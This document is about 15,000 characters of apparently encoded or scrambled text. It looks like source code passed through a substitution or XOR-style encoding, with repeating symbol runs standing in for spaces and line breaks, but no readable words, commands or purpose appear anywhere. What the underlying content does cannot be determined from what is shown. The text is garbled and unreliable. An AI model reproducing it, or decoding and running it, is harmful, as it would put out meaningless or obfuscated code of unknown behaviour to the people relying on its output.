OUUP_NNNGGT88ON\mGGOQ^	UOUUPQNO _	S^OUUP^NNNGGG 88 8ON\mmmGGGGOQ^	UOUUPQNOT
OUU_WNNNG8 8ON\mGGGO8T OVRURNOT
OUU_VNNGGGGAAGG _	S^O^^NO _	S^OUU_UNKGGGGT
OUU_TNNNG+48$8&7.]] 8ON\mGGGGGGO8T OVRURNO _	S^OUU_SNNGAAGGT
OUU_RNO8T OUU_SNKGGT
OUU_QNNNGGGG%87 $]]88ON\mGGO _	S^OVRURNO _	S^OQVWNNGAAGGGQ^	UOUU_PNOQ^	UOQVWNKG _	S^OUU__NNNGG$8"	]]88ON\mmmGGGGGGGGO _	S^OUUPQNO _	S^OUU_^NNNGGGG888ON\mGGGOOC +(%&+4<8T OQVVN:NGGAAGGT
OUU^WNOC +(%&+4<Q^	UOQVVN:NGAAGGGGG8T OUU_PNOC +(%&+4< _	S^OQVVN:KGG _	S^OUU^VNNNGGGC +(%&+4<8T OQVVN:JY$ON\mGGGGOT
OUUPQNOQ^	UOUU^UNNNG888ON\mmmGGGGGGOQ^	UOVRURNO8T OUU^TNNGGAAGGQ^	UOUU_PNOQ^	UOUU^SNKGGGQ^	UOUU^RNNNGG
$]]ON\mGGSS_UU8O _	S^OS^TNKGGQ^	UOUU^QNN\mGGGGGGGO3GGGC	VRV8UNGGGGGmmmmGGGGSS_UU8O8T OS^TNKGGC	VRV8UN\mGGGGGGGO"	GC	VRV8UNGGGGmGGGGGGmGGmmGG		GT
UU_SONmmGGO8T OUUPQNO8T OUU^PNNGGGAAGGGGGG8
	ONNG	G\mGGGGGGGGGGGO _	S^OUUPQNO _	S^OUU^_NNGGAAGGG8	 8ONNGG	G\mGGGGGO	OT
OUU^^NNGAAG5"4385"62"43NGGG	G\mGO	OQ^	UOUTWWNNGGAAGGGG?*+57$85"62"43NGGG	GGG\mGGGOQ^	UOUUPQNOT
OUTWVNNGGGGGAAGGG8ONNGG	G\mGGGGGGGGOT
OUUPQNO8T OUTWUNNGGAAGGGG8ONNGGG	G\mmmGGGGGOT
OUUPQNOT
OUTWTNNGAAGGG8
ONNGGG	GGG\mmGGO _	S^OUUPQNOT
OUTWSNNGGAAGGG8
8ONNGGG	GGG\mGGGOOC8 "3<T
OUTWRN:NGGGGGGGOC8 "3<8T OUTWQN:NGGGGOC8 "3<8T OUTWPN:NNG	G\mmmGG	GGG\mmmmm		G8WSONmmmmGGC
U^Z^VMT\C_
U		ZC
U^J^\mGGGGC	T8^ ^GGGZGGOOC +(%&+4<Q^	UOPVTN:NGAAGGGT
OUUQQNOC +(%&+4<Q^	UOPVTN:NNGGGXGGG _	S^OVU_VNOC +(%&+4<T
OPVTN:NGGGG]GGGEE\mmmmGOC	T8^ ^GGGZZZGGGGEENG	GEE\mC	T8^ ^GZGGG _	S^OUTW_NO _	S^OUTW^NKGGGGGQ^	UOUTVWNKGGGC	T8^ ^N\mGGC
^_
SPSGGZGGG8T OUUPQNOQ^	UOUTVVNNGGGGXGGGGGGO	 NGG _	S^OUUQVNO
8ONKG7/7825+8/(43NGGGG]GGGGGEE\mGGCS
UGGGGGZGG^OT
OPPNOC
^_
SPSNKGGGOTLTNN\mGGGGC	UWUR
GGGGZGGGGQ^	UOUUU^NO8T OUUPTNOC	T8^ ^NKGGGWKGOSLUNN\mG	GE;	[GJZ;EEGGGIGGGCS
UGGGIGG@J@GGIGC	UWUR
GGIGE;EY;	EGGGGGIGGGGGGC	T8^ ^GGIGE;	[HY;	[FJJGEGGGGGIGGGCS
UGGGIGG@J@GIGGGGGC	UWUR
GGGGGGIGGGEGJJY;	E\mmG		GGGQ 	RSQ
ONmmGGGGGGGmGGGGGGGGGGOT
UU_SONNGGGG	\mmGGGGGC

8GGGZG8WSON\mGGGGGGGGOC

8GGZZZGGGEENG	\mGGGGGGGC

8\mGC +(%&+4<T
ORRRN:GZGG\mGGGOT
OUTVUNO _	S^OUTVTNNGGGGGAAGG _	S^OUTVUNOT
OUTVSNNGGGAAG
OC +(%&+4<Q^	UOUTVRN:NNGmGGC +(%&+4<8T OUTVQN:GGZGGG\mGGGGCWRU_GGGGZGGGGO	NGGG' 8	OQ^	UORQWNKGGWN\mGGGOQ^	UOUUT^NONGGGGJGGGGCWRU_GGYGGGGOU^SLQNNGG'8	OT
ORQWNKG8T OUTVPNONKGGG _	S^OUUSWNN\mGGG	OCWRU_N\mmGGGGGGO3GGC	VRV8UNGGmSS_UU8O8T O_VQNKGC	VRV8UN\mGGO"	GC	VRV8UNGmmmmmGGGGmGG		G_U	PV_Q
^POCUWP_NmGmGGGGGGGGOF _	S^OUUQQNOCUWP_NGGCUWP_GGZZZGGGGGEENGGGG	GGGCUWP_\mGGOF
OC +(%&+4<8T OUTV_N:NNGGGGG	GGCUWP_\mGGGC

8GGZG8WSON\mGGGOC

8GGZZZGEENG	GCUWP_\mmmGGGGGGGOOCUWP_KGGG _	S^OUTV^NNGZZZGGGAAGOCUWP_KGGG _	S^OUTUWNNGGZZZGNGGGGGG	GGGCUWP_\mmGGGGC +(%&+4<8T OUTV_N:GGGZG\mGC +(%&+4<T
ORRPN:GGGZGGGGGG\mmmGCQP8_UQ		GGZGGOCUWP_KG8T OUTV^NN\mGGGGGOCQP8_UQ		GGGFZZGGGGNGGm	GGGGT
OUUU^NOCUWP_KGGWKGCQP8_UQ		NGGGGIGC

8GIG _	S^OUUU^NOCUWP_KGGCQP8_UQ		N\mGGmHHG7/7G_ISG]G	GJ mmGG	GGCUWP_GGIGGGGGC

8\mmGGGGG		GGGGG_QS	
S	TUUQONmmGGGGGGmHHG07G%$	]G	G	mmmGGOT
UU_SONNGGG	\mGGGGGOF
OC +(%&+4< _	S^OUTUVN:NNG	\mGGGGGC	T8^ ^GZGOOC +(%&+4<8T OPVTN:NGGGAAGQ^	UOUTUUNOC +(%&+4<Q^	UOUTUTN:NNGGXGGGGGT
OVU_VNOC +(%&+4< _	S^OUTUSN:NG]GGGGEE\CP
Z7/78*&-(581"54.()\C^8PP	ZCP
MQ\mGGGGGOC	T8^ ^GZZZGGEENG	\mC +(%&+4<Q^	UOUTUVN:GGGGGZGG\mGGGGGGGG' _	S^OUTURNO8T OUTUQNN\mGGGGGO3GC	VRV8UNGGGGmGGSS_UU8OQ^	UORRQNKGGC	VRV8UN\mGGGGGGGGGO"	GGGGGC	VRV8UNGGmGGGmGGmGGG		GGTTU
UONmmGGGGGGGGmGGGGGGmGGGOF8
	ONGGGAAGGOFOC +(%&+4<T
OUTUPN:NGGGC +(%&+4< _	S^OUTU_N:GGGFZZGGQ^	UOUTU^NNNGG	\mGGGOT
OUTVUNO8T ORSUNNGGGGGAAGGF8ONNG	\mGGCW
GGGZGUTQ	8ROT
OVTPSNKGGGGEEN\mmmGGGCS
UGGGGGZGGG^O&%47&3/GGGGIG8T O_VQNKGGGOVVU9VV_NN\mGCUWP_UVGGZGGGGG _	S^OVQ^_N\mGGGGOCW
GGGGZZZGGGEENGmGGGGGGO8T OUTVUNOT
OUTVTNNGGGAAGO	NGG' 8	O8T ORQ_NKGGGWNNGGGGmGGGGGG'8	O _	S^ORQ_NKGWKGGGGG8T OUUSWNN\mC_SRV	T

GGZGO	 NGGGG' 8	O8T OUTTWNKGEEN\mGGGGGGGE;	EGGIGG8T OUTTVNGGGIGGGCS
UGIGGG@Y@mGGGIGGG _	S^OUTTUNmGGGGIGGG8T OUTTTNGIGGGGGGCUWP_UVO8T OUTTSNNGGGGIGGT
OUTTRNmGGIGGG8T OUTTQNGGGGIGGT
OVTQUNOC_SRV	T

NGGGGIG@\@mGGGIGG8T OUTTPNGGGGIGGGCUWP_UVO _	S^OUTT_NNGGGGGIGGGT
OUTT^NmGIGQ^	UOUTSWNGGGIGCUWP_UVOT
OUTSVNNGGGIGGGGG _	S^OUTSUNGIGCUWP_UVO _	S^OUTSTNNGIGGGG8T OUTSUNGIGGGCUWP_UVOQ^	UOUTSSNNGGIGT
OUTSRNGGGGIGCUWP_UVOQ^	UOUTSQNNGGIGG _	S^OUTSPNmGGGGIGGQ^	UOUTS_NGGGGGIGCUWP_UVO _	S^OUTS^NNGGIGGGGT
OUTRWNGGIGCUWP_UVOT
OUTRVNNGGGGIGGQ^	UOUTRUNmmmGGGGGGGIGG8T OUTRTNGGGIGGGE;	E\m	OC_SRV	T

N\mGGmmGGGGGG	\mGmmmmCW
GGZG8T OUTRSNO8T OVTTUNKGG _	S^OVTTTNKGGGGGCW
N\mGGGGOQ^	UOUV_UNOCW
KGG8T OVTTTNNGFZZGGGGGGWNGGCW
GGZGGG8T OVTTTNGGIG8T OVTPTNOCW
KG@H@N\mmmmGC8S_UGGGZG@H@\mGGGGOQ^	UOUTRRNO8T OUTVVNNNGGGGGmmGGGGGGCS_TR
8^GGGZGO	 NGGGGG8T OUTRQNO
8ONKGG7/7825+87&3/N\mGGGGGGGGGGOCS_TR
8^GFZZGGGGGEEGGAAGGGGCS_TR
8^GFZZGG@H@NGC8S_UGGGGGZGGGQ^	UOUTRPNOCS_TR
8^KG@H@NGGGIGG@H@\mGGGGGGGGmGGGGGGGGGGGOT
OUTRRNOT
OUTVSNNNGmGG'8	OT
ORQ_NKGGVKG8T OUUSWNN\mGGGG'8	OQ^	UOUTTWNKGCW
KGT
OUUSWNN\mGmGGGGC^WPGGZGGGG _	S^OUTR_NGGIGCS
UGGGGIGG@Y@mIGQ^	UOUTR^NmGGGGGIGT
OUTTTNGGIGGGGGCUWP_UVO8T OUTTSNNGGIGGGG8T OUTQWNmIGGGQ^	UOUTQVNmGGGIGGGQ^	UOUTQUNGGIGGCUWP_UVOQ^	UOUTQTNNGGGIGG _	S^OUTQSNGGGIGGT
OUTQRNOCW
NGGGGIGG@N@mGIGG8T OUTQQNGGGGGIGGGCUWP_UVO _	S^OUTQPNNGIGG _	S^OUTQSNGIGQ^	UOUTQRNOCW
NGGGIGG8T OUTQ_NGIGT
OUTQRNOC8S_UNGGIGGT
OUTQ^NGGIGGGGCUWP_UVO _	S^OUTPWNNGGGGIGGG8T OUTPVNmIGGT
OUTPUNGGGGIGGCUWP_UVOT
OUTPTNNGGIGG8T OUTPSNmGGGIGGGGGT
OUTQUNGIGGGCUWP_UVO _	S^OUTPRNNGGIGGQ^	UOUTPQNGGGGGIGGGGCUWP_UVO8T OUTPPNNGGGIGGQ^	UOUTP_NmGGIGT
OUTP^NGGIGCUWP_UVO _	S^OUT_WNNGGGGGIGQ^	UOUT_VNmGGIGGGQ^	UOUT_UNmGGGGGGIGGQ^	UOUTQUNGIGGGCUWP_UVOQ^	UOUT_TNNGIGGGGQ^	UOUT_SNmmmmGGGIGT
OUT_RNGIGGGCUWP_UVOT
OUTSVNNGIG _	S^OUT_QNGGIGGGGCUWP_UVOQ^	UOUT_PNNGGIG _	S^OUT__NmGGGIGGQ^	UOUTRTN\mGGGGGE;	EGGIGC^WPGGGGGGIGGE;	E\mGGGGGGGGGO3GGGC	VRV8UNGGGGmGGGSS_UU8O _	S^OUT_^NKGC	VRV8UN\mGGGGGGGGGGGGO"	GGC	VRV8UNGGGGGGmmmmGGGSS_UU8OT
OUT_^NKGGC	VRV8UN\mmmmGGmGGGmGmGGGO__VV	Q ONNGGGGGGmG	\mGGm
 8V ON\mGCP8GZGGGG'T
OUT^WNOVQ^^WWT
WONN\mGGGGOFCP8GGGOCP8GBGGOWTLWVPQRNNGGFZZGGGGSQQ
SUONNGGmGGGGGGC	R TGZGG _	S^OUTVPNON\mmmmGGGGGGWWSPP	8T_ OVQ^^WWT
WONKGGGGGOC	R TGGJGGGGGOC	R TGGBGO^^^R^LSVNNNGLGGGGSQQ
SUONN\mmGGG	OC	R TN\mmGGGGG	OCP8N\mGGmmC	P  _GZG88!.+"88\mGCPT U
GGZGGEE\mGGC WU	TGGGGZGG' _	S^OUT^VNOC	P  _KGGKGG	KGGGGWKGGOQUSUJUVSQNN\mGGGOT
OUTUUNOC WU	TNGGAAGGQ^	UOUUSVNO8T OV^^VNKGC WU	TKGGGGC_ TNNGGCPT U
GGZGGC_ T<V:\mmGGGGGOCPT U
GFZZGGGGEEGGAAGGG	O8T OUT^UNNNGGGGGmC
 8GGZGGGON\mmmGGGCW^GZG	O _	S^OVQQPNNGGGGGGXG07*287+2 .)8#.5GG]GGGGG078$()3")38#.5GGGGIGG _	S^OV^P^N\mmGC	S
_GGZGG	O _	S^O_U_NNGGGXGGGG0787+2 .)8#.5GG]GG078$()3")38#.5GIGGGQ^	UOVQQ_N\mGCV^P
W
GGGZG\mGGGGGOT
OUTRRNO _	S^OUT^TNNNGGGGmmGC8PVS
8GGGGGGZGGGGGG'Q^	UOV^_UNOCW^NGGXGGG'Q^	UOUT^TNOCW^GGGGGIGGGGGT
OQQUNNGG]G\mGGGC _GZGGG' _	S^OUT^SNOC	S
_GIGGGT
OV^_TNN\mGGGGOQ^	UOUT^RNOC8PVS
8NGGG _	S^OUT^QNOC _NNGGmmmGCV^P
W
GGGGGZGGG\mGGGOONGGGC8PVS
8GGGGC^WR8STNGGGGGC
 8<:GGGGZGGC^WR8ST\mGGGGOONGGC _GGGGGGGGGGGC^WR8STNGC
 8<:GGZGGC^WR8ST\mmmmGGG	OC8PVS
8KGGGGC _N\mGGmGGGGGGOFCV^P
W
NGmGGGGC__ WWGZG' _	S^OV^_UNOCW^NGGXGGUVT	PRPOCW^NG]GGG\mGGGGGGGGGGGGOQ^	UOUT^QNOC__ WWNNGGGGOC__ WWGGGGC
W
NGGGGmmmGGGGGGGGGOQ^	UOUT^PNOC
W
KGGJOQJUNNGZZZGGGG _	S^OUUUPNNGGGGC
 8<:GGZGGCW^GGIGG@H@GGGGGGIGGGGGC
W
\mmGGGGGGGC__ WWGGGGZGG' _	S^OV^_UNOC	S
_NGGGGXGGUVT	PRPOC	S
_NGGGG]G\mGGGGGOT
OUT^_NOC__ WWNNGGGGOC__ WWGGGGGGGGC
W
NGmmGGGGC^8URRGGGZGGGC	S
_GGGIGGG@H@GGIGC
W
\mGGGOF'T
OUT^^NOC^8URRNNG		\mmmC	_R8TGZGGUVT	PRPOC^8URRN\mGGGGGGGOF8T OUT^_NOC	_R8TNNGGG		\mGGGOC	_R8TGGGGGGCW
VNGGmmmmGGGOQ^	UOUSWWNOCW
VKGGGGJOWULWUNNGGZZZGGGGG _	S^OUUUPNNGC
 8<:GGGZGGGGC^8URRGGIGGGGG@H@GGIGCW
V\mGGGGGGmGmGG	OC__ WWKGC
W
KGCW
VKGGGGC^8URRKGGGGGGC	_R8TN\mmGGGGGGGGC

WSGGGZGGGGG _	S^OV^^RNOC	P  _KGG8T OUSWVNN\mGGGGGGGGGOC
 8GGGC^WR8STNGGmGGGGGOC^WR8STGGGZZZGC	P  _NGG		\mmGGCS SP UGGZGGG' _	S^OUSWUNOC^WR8STN\mmGGGGGGGOFCS SP UGGGGOCS SP UGGBGGGGOVWTRSUJTRSUNNGFZZGGOWRWLW^QNNGGmC	^W8RGGZGGG' _	S^OUSWTNOC^WR8STN\mGGGGGGGGGGOFC	^W8RGGGGC	^W8RG[GGOSLS^QNGGGGGGC	^W8RGGYGGGGGGORUSU_PV_L_UNNGG		\mGGGGmGC WU	TGGZGG'8T OUT^VNOC^WR8STKGGGKG	KGGWKGOW^SPLWQ^NN\mGGGGGGGGOF _	S^OUTUUNOC WU	TNGG8T OUSWSNOC WU	TKGG8T OV^_^NNGGZZZGGNGGG		\mGGGOF8T OUSWRNOQ^	UOV^^VNKGC WU	TKGC_ TNNGGGG		\mGGGGGGGGO _	S^OV^^RNOC^WR8STKG _	S^OUSWVNNGGGZZZGC

WSGGAAGGGGC_ T<V:GGZZZGCPT U
NGGGGGmGGGGOF	PRURPPOC^WR8STNNGGGGGGmmmmGGGGGGGGOPRW8UOC^WR8STKGC^WR8STGGIG _	S^OV^_NNGGGAAGGGGGG _	S^OUTRRNO8T OUSWQNNNG'8	OC^WR8STKGN\mmmmGGGmG		\mGmmmmGGGGGGO	8
OC_ T<V:KGGCPT U
KGGG@[@NNGGGmGGGC	SRR_GZGGGG  SS P  OC^WR8STN\mGGGGOC	SRR_GGGGZZZGGGGGNGGGmGSS_UU8O8T OUSWPNKGGGGG8T OV^^UNGGGGGIG _	S^OUSW_NOC^WR8STNN\mGG		\mGGGGGmmGOC	SRR_GGGGZZZGNGGmGGGGGGOPRW8UOC^WR8STKGGC^WR8STGIGGG _	S^OUSW^NNNGGmGGGGGGGGGGO8T OUTRRNOT
OUSWQNNNG'8	OC^WR8STKGGGN\mGmGGGG'Q^	UOPPVNOT
OUW^PNOC^WR8STNGGGIGGGG _	S^OP^^NGGGGIGGT
OUSVWNOC^WR8STKGGGQ^	UOUSVVNNN\m		\mGGGmGG'T
OPPVNOC^WR8STN\mmmmG'Q^	UOPPVNO8T OUW^PNOC^WR8STNGGGIG _	S^OUSVUNGGIGG8T OUSVWNOC^WR8STKGG _	S^OUSVVNNN\CTW88	ZQRPT\CPTS

ZCTW88	BP\mGGGO _	S^OUTRRNO _	S^OUSWQNNNG'8	OC^WR8STKGGN\mmmmGG		\mGGmCU	RVGGGGGGZGGO8T OUSVWNO _	S^OUSVTNOC^WR8STNNGGZZZGGGGT
OUSVSNGGGT
OUSVTNOC^WR8STNGGGGGZZZGGCW^N\mGGGGGOFCU	RVGGAAGGGGG _	S^OUTRRNOT
OUSVRNNNGGmGGGGGGGGCT^GZG8T OUSVWNO _	S^OUSVQNOC^WR8STNNGGGIGG@H@GGIGGG _	S^OUSVPNOC^WR8STN\mGCQTV^GGGZGONGG' 8	OT
OUUUQNKGGONN\mGGGGGCU	RVGGGZGG8T OUUURNOCT^KGCQTV^KGGN\mGGGGOFCU	RVGAAGGGT
OUSV_NOQ^	UOUUPNNGGGGGGAAGG8
ONGAAGT
OUSV_NOQ^	UOUU^NNNGGmCRS^VQ__GZGGGGGONGG' 88	O8T OUSV^NKGGONN\mmmmGGGCU	RVGGGZGOCRS^VQ__<CT^:N\mG	OCRS^VQ__N\mmGmGGGGGG	OCT^KGGGCQTV^N\mmmmGGGmGGGOFCU	RVNG		\mGGGO	8
OC_ T<V:KGGGGCPT U
KG@Y@NNGmGGGGGGGO	PRURPPOC^WR8STNGGGGAAGGF	
W R	OC^WR8STNNGG	\mCGZGGGGT
OUSUWNOC^WR8STNGIGGGGGT
OUSUVNGGIGGG _	S^OUUPTNOC^WR8STN\mGGO'8T OUUTTNOCNGGGGAAGGGO	NG'T
OUSWUNOCNGGGG[GQ^	UOUTVPNONGJGGGGOVRLSRNNGGmGC
^PQGGGGGZGGQ^	UOUSUUNO@@KGGGGO	 NG' _	S^OUT^VNOCNN\mGGGGGO _	S^OUSUTNOC
^PQNG[GUGGGC
^PQ<W:GFZZGC_ T<V:GGGGGGO	NGC
^PQ<V:GFZZGO	NGGGGG'T
OUSWTNOC^WR8STNNGGGmGGGG'8T OUSUSNOCN\m		\mmGGO  SS P  OC^WR8STNGGGGFZZGNGGGmmmGGGT8OC^WR8STKGGOW__LWVVNN\mmGGGGGGGGOWT	OC^WR8STNNGGmGGGGGG'T
OUSUSNOCN\mmGOQ^	UOUSURNO8T OUSWQNNNGGG'8	OC^WR8STKGGGN\mGGmGmmGG		\mGGmG'8T OUSUQNOCKGC_ T<V:GGGGIG@@GIGGO	NGGGG'T
OUSUPNOC^WR8STNN\mGGGGG		\mmmGGGmGGGGGGGGGOC_ T<V:GGZZZGGCPT U
NGGmmGCPUT  GGGZG_V _QSON\CTWS ZUVVW\C	ZCTWS BR\mGGGGC^TVGZG\mGGOF
OCPUT  <Q^	UOUSU_N:NNGGGGGmGC_VSR
GGZGG' _	S^OV^__NOCPUT  <Q^	UOUSU_N:N\mmmmGCU_WGGGZGG'Q^	UOV^__NOC^WR8STN\mGGO _	S^OUTUUNOC_VSR
NGGGGGAAG _	S^OUTUUNOCU_WNGGGGAAGGGGGGC_VSR
GZZZGGCU_WGAAGGGVU	POCPUT  NGGGGZZZGT
OVPRVNGGGGGGAAGGG	PRURPPOC^WR8STNNG	\mmGGGGGGOQ^	UOUTUUNOC_VSR
NGGGAAGGGGC_VSR
GZZZG' _	S^OUSU^NOC	P  _NNGC^TVGGGGZG\mmGGOFC^TVGAAGGGGGF	PRURPPOC^WR8STNNGGCPS		ZTLRS\CVZCPS		JUS\mGGGO	
W R	OC^WR8STNGGGGGG  SS P  OC^WR8STNGFZZGGGGNGGGGGmGGGOPRW8UOC^WR8STKGGGGC^WR8STGIGGGGGG _	S^OUSW^NNGGGAAGQ^	UOUSTWNOT
OUSWQNNNGG'8	OC^WR8STKGGGGGN\mGmmm	OCPUT  KGGC^TVKGGC_VSR
KGGCU_WN\m		\mGGGGmmGmGGGGGGGGGOFC^TVGGAAGGT
OUSWWNO _	S^OUUPTNO _	S^OUSVPNOC^WR8STKG _	S^OUSTVNNNKGGWKGOULVWNNGGGGYGGGT
OUSTUNOQ^	UOUSTTNOC

WSNKGWKGOT[[UNNNGGG	\mGGGG	OCPUT  KGC^TVKGC_VSR
KGCU_WN\mGmmGGGGmG	OC	P  _KGGCPT U
KGC WU	TKGGGGC_ TKGC
 8KGGGCW^KGGC	S
_KGGC^WR8STKGGGGCS SP UKGC

WSKGGC	^W8RKGC	SRR_KGGGGGGCKGGGC
^PQN\mmGGGGGGGGO3GGGC	VRV8UNGGmGGGGO"	GGC	VRV8UNGmmGGGGGGGGGOOC +(%&+4<8T OUSTSN:NNGmGGGGGGO	8
OO	 NGGC +(%&+4<Q^	UOUSTRN:KG _ Q	QTPONKGGT
OUSTQNNNGGG	\mC +(%&+4<T
OUSTPN:GGGZGGGGGV\mGGGO	OT
OUST_NNNGGmC^
^GGGGZGGGG		OT
OUST_NN\C
	USZJS\CZOC
	USYWNXC
	US]JC
	US\mGO8T OUTUUNOC^
^NGGGGAAGG _	S^OUSWRNO _	S^OVQR_NKGGGC^
^NGGAAGGGG	8
OC^
^KGGG _ Q	QTPONKGGGG8T OUSTQNNNG	\mGC +(%&+4<8T OUST^N:GGZGV\mG	OC^
^N\mmmmGGGmHHG	G	mmGGGGGGGC +(%&+4<8T OUSTRN:GGGGZG _ Q	QTPON\mmmGGGGGGOQ^	UOUSTWNOQ^	UOV_VNNNG'OKGGGGVQ^^WWT
WONN\mGC +(%&+4<Q^	UOV_WN:GGGGGGZGO	 NGG'Q^	UOUSUPNOVQ^^WWT
WONNGGGGIGGGGG@]@GGGIGGO	 NGGG' _	S^OUSWUNOVQ^^WWT
WONN\mGGGGOF	O _	S^OUST_NNNGGG	OT
OUST_NKG _ Q	QTPONN\mGGGGGOF	OQ^	UOUSSWNNNGGGGG	OT
OUSSWNKGGG _ Q	QTPONN\mmm	QRT^_^T  U^OQ^	UOUSSVNN\mGGGGGmmmmGGQ8VWPPOVQ^^WWT
WONN\mGGGOT
OUSTWNOQ^	UOUSSUNNGGGGGAAGG8T OUSTWNOQ^	UOUSSTNNNGmGGGGGGmGGGGGCP P8GGZG8^	_SWW	ON\mGGGGmmGGGGGGGGGO'Q^	UOUT^^NOCP P8NNGmHHG07G5"43G&7.GU]GG	JmmmmCS	_8GZGGG_R T_R^ON\mmmGC^_^W	8GGZGUVT	PRPOCP P8N\mmmmGGGO _	S^OUT^_NOC^_^W	8NNGmGGGGGOC^_^W	8GGGGGGCSURQ		TSNGmmGGOCSURQ		TSGGGZZZGCS	_8NGG		\mGGGGGOT
OPPNO _	S^O_UUNOCSURQ		TSKGGG		OT
OUSSSNNNNGGGFZZG _	S^OVURVNNG		\mmmGC_PU WGZGGCP P8GGGIG@H@GIGCSURQ		TS\mGGGGGO'Q^	UOUUTTNOC_PU WNGAAG'8T OUSUPNOC_PU WNGYGGGOS^QSLTQNGAAGG^8TOC_PU WKGGOW^V_LWPWNNNGmG8RV OC_PU WN\mGGGGGmmmGmGmGGGGGGGGGO3GC	VRV8UNGGGmHHG7/72	GVW]GJG	JmmSS_UU8O _	S^OUSUNKGGGGGC	VRV8UN\mGGGGGGGGO"	GGGC	VRV8UNGmHHG		G	mmmmGGmGGGGmHHG'GmmGGGGmGGGGGGGGOFGGGTV^T8V	_
ONNGmG UWWTOT
O_^^NKGG _	S^OUSSRNKGGVN\mmmGmGGmGGGGC +(%&+4<T
O_Q_N:GZGGGGON\GGmGC +(%&+4<T
OS_UN:GGZGON\GGGGGmmmGGGGGGC +(%&+4<8T OUTUSN:GZGEE\GGGGmGGGGGO8T OUSTWNOQ^	UOUSSQNNNGGGGGGmGGGGGGGG _	S^OUSSPNO8T OUSS_NN\C 
 VT_ZPTR_\C^	ZC 
 VT_BVS\mmmmGQ^	UOUSSPNO _	S^OUSS^NN\mmGmGGGGGGC R	TWWGGGZGGGQ^	UOUSUWNOVQ^^WWT
WONNGGGGIGGGGGGQ^	UOVPQUNGGIGGG _	S^OUSRWNOVQ^^WWT
WONKGGGG8T OUSTVNN\CQ8Q^SS_ Z7/78*&-(581"54.()\CR	^T
_ZCQ8Q^SS_ MR\mmGGGO' _	S^OUUTTNOC R	TWWNNGGGGGmmC RR_QSPGGGZGGG8T OUSRVNOO	 NG'T
OUSRUNOC R	TWWNN\mC8	_PW	^GGGZGGG T		TUON\mGGGOC RR_QSPGGGGZZZGGGGEEGGGGGC RR_QSPGGFZZGGC8	_PW	^NGWT	OC R	TWWN\mG	OC RR_QSPKGGGGGC8	_PW	^N\mGGmGGGGGmmGGGGG'Q^	UOUVNOQ^	UOUSRTNOVQ^^WWT
WONNGIGQ^	UOUSRSNGGIGGG8T OUSRWNOVQ^^WWT
WONKGG8T OUSRRNNN\mGGC8^TVSWWGGGGZGGGGG _	S^OUSRQNGIG T		TUON\mGGGGGGOOQ^	UOUSRTNOVQ^^WWT
WONNKGG8^	_SWW	ONNGGGGC8
U_PNGmGGGO'8T OUUTTNOC8
U_PGGGIGGG@H@GGIGGGGGC8^TVSWWNNGGGGG'Q^	UOUSRPNOC8
U_PGGGGIGG@H@GGIGC8^TVSWWN\mmmmmGGGGGGG	OC8^TVSWWKGGC8
U_PN\mGGGGGGGGGGGGO3GGC	VRV8UNGmmGGGGGGGO"	GGGGC	VRV8UNGGGGmmmmmGGGGGG	OC R	TWWN\mmmGGGmGGGGGGG UWWTO _	S^O^WVNKGGGGGT
OUSR_NKGGGGWN\mGGG UWWTO8T O^WVNKGGQ^	UOUSR^NKGGGWN\mG UWWTO _	S^OUSQWNKGGGGGT
OUSR_NKGWN\mG UWWTO8T OUSQVNKGG _	S^OUSR_NKGWN\mGG UWWTO8T OUSQVNKGGGGGGT
OUSQUNKGGGGUN\mGGG UWWTO8T OUSQVNKGGG _	S^OUSQTNKGGGOUTR9UTUNN\mG UWWTO _	S^OUSQVNKGGG _	S^OUSQSNKGGOULUNN\m UWWTOQ^	UO_^^NKGG8T OUSQRNKGOVLSNN\mmmmGGT8 WR^P_R OQ^	UOUSQQNKGGG _	S^OUSQPNKGOVSW9VTSNKGGGVN\mT8 WR^P_R OQ^	UOUSQ_NKGGQ^	UOUSQPNKGGOUWW9V^SNKGVN\mmGT8 WR^P_R O _	S^OUSQ^NKGGT
OUSPWNKGGOPLTNKGGGGGGVN\mGGT8 WR^P_R O _	S^OUSPVNKGG8T OUSPWNKGOUL_NKGGVN\mmGGGGT8 WR^P_R O _	S^OUSPUNKGGGT
OUSPTNKGGGOVVPL__UNKGGOTS9TTNN\mmmGG UWWTO _	S^OUSPSNKGGGG8T OUSPRNKGGGGGGOTVSLQ_RNKGUN\mGGGGGmGT8 WR^P_R OQ^	UOUSPQNKGT
OUSPPNN\mGT8 WR^P_R O _	S^OUSP_NKGGT
OUSP^NKGGGOWRLWRNKGGUN\mT8 WR^P_R O8T OUS_WNKGGGGGT
OUS_VNN\mGGGmGGT8 WR^P_R O8T OUS_UNKGGGGGG _	S^OUS_TNKGGOWPLWTNKGVN\mGGmGGT8 WR^P_R O _	S^OUS_SNKGGG _	S^OUS_RNKGORLRNKGGGUN\mG UWWTOT
OUS_QNKGGT
OUS_PNN\mT8 WR^P_R OQ^	UOUS__NKGGGGG _	S^OUS_^NN\mGmGT8 WR^P_R O _	S^OUS^WNKGGGGQ^	UO^SQNN\mGm UWWTOQ^	UOUS^VNKGGGGGG8T OUS^UNKGGGJO^_ULVPNN\m UWWTOT
OUS^TNKGQ^	UOUS^SNKGGGGGJOVV_SJV_RNN\m UWWTOT
OUS^RNKGG _	S^OUS^QNKGGGGJOVVTRJVTQNN\mGGGGGGm UWWTOQ^	UOUS^PNKGGGGGT
OUS^_NKGGGGO^VSL_RNN\mGGGG UWWTO _	S^OUS^^NKGGGQ^	UOURWWNKGWN\mmmmGGG UWWTOQ^	UOURWVNKGGG8T OURWUNKGGO^R_LSVNN\mGG UWWTOQ^	UOURWTNKGGT
OURWSNKGGGGGGO^^RLSNN\mGGmGGGGG UWWTO _	S^OUT^NKGGQ^	UOURWRNKGGGGGUN\m UWWTO _	S^OUT^NKGG8T OURWQNKGWN\mmGGGGGG UWWTO _	S^OUT^NKGGGG _	S^OURWPNKGGGGGGWN\mG UWWTO8T OUT^NKGQ^	UOURW_NKGGGWN\mGGm UWWTO _	S^OUT^NKGGQ^	UOURW^NKGGGVN\mGGGGGGG UWWTOQ^	UOUT^NKGQ^	UOURVWNKGGGUN\mmmmGGGG UWWTOQ^	UOUT^NKGGGQ^	UOURVVNKGGGGOWULWVNN\m UWWTO8T OUT^NKGT
OURVUNKGGOWVLWTNN\mmm UWWTOT
OURVTNKG8T OURVSNKGGGGGOVLSNN\mG UWWTO _	S^OURVTNKGQ^	UOURVRNKGGGOTLTNN\mGGG UWWTOQ^	UOURVTNKGT
OURVQNKGGOUP9U^NN\mG UWWTO _	S^OURVTNKGGGT
OURVPNKGGGORLVNN\mGGGGG UWWTO8T OURVTNKGGT
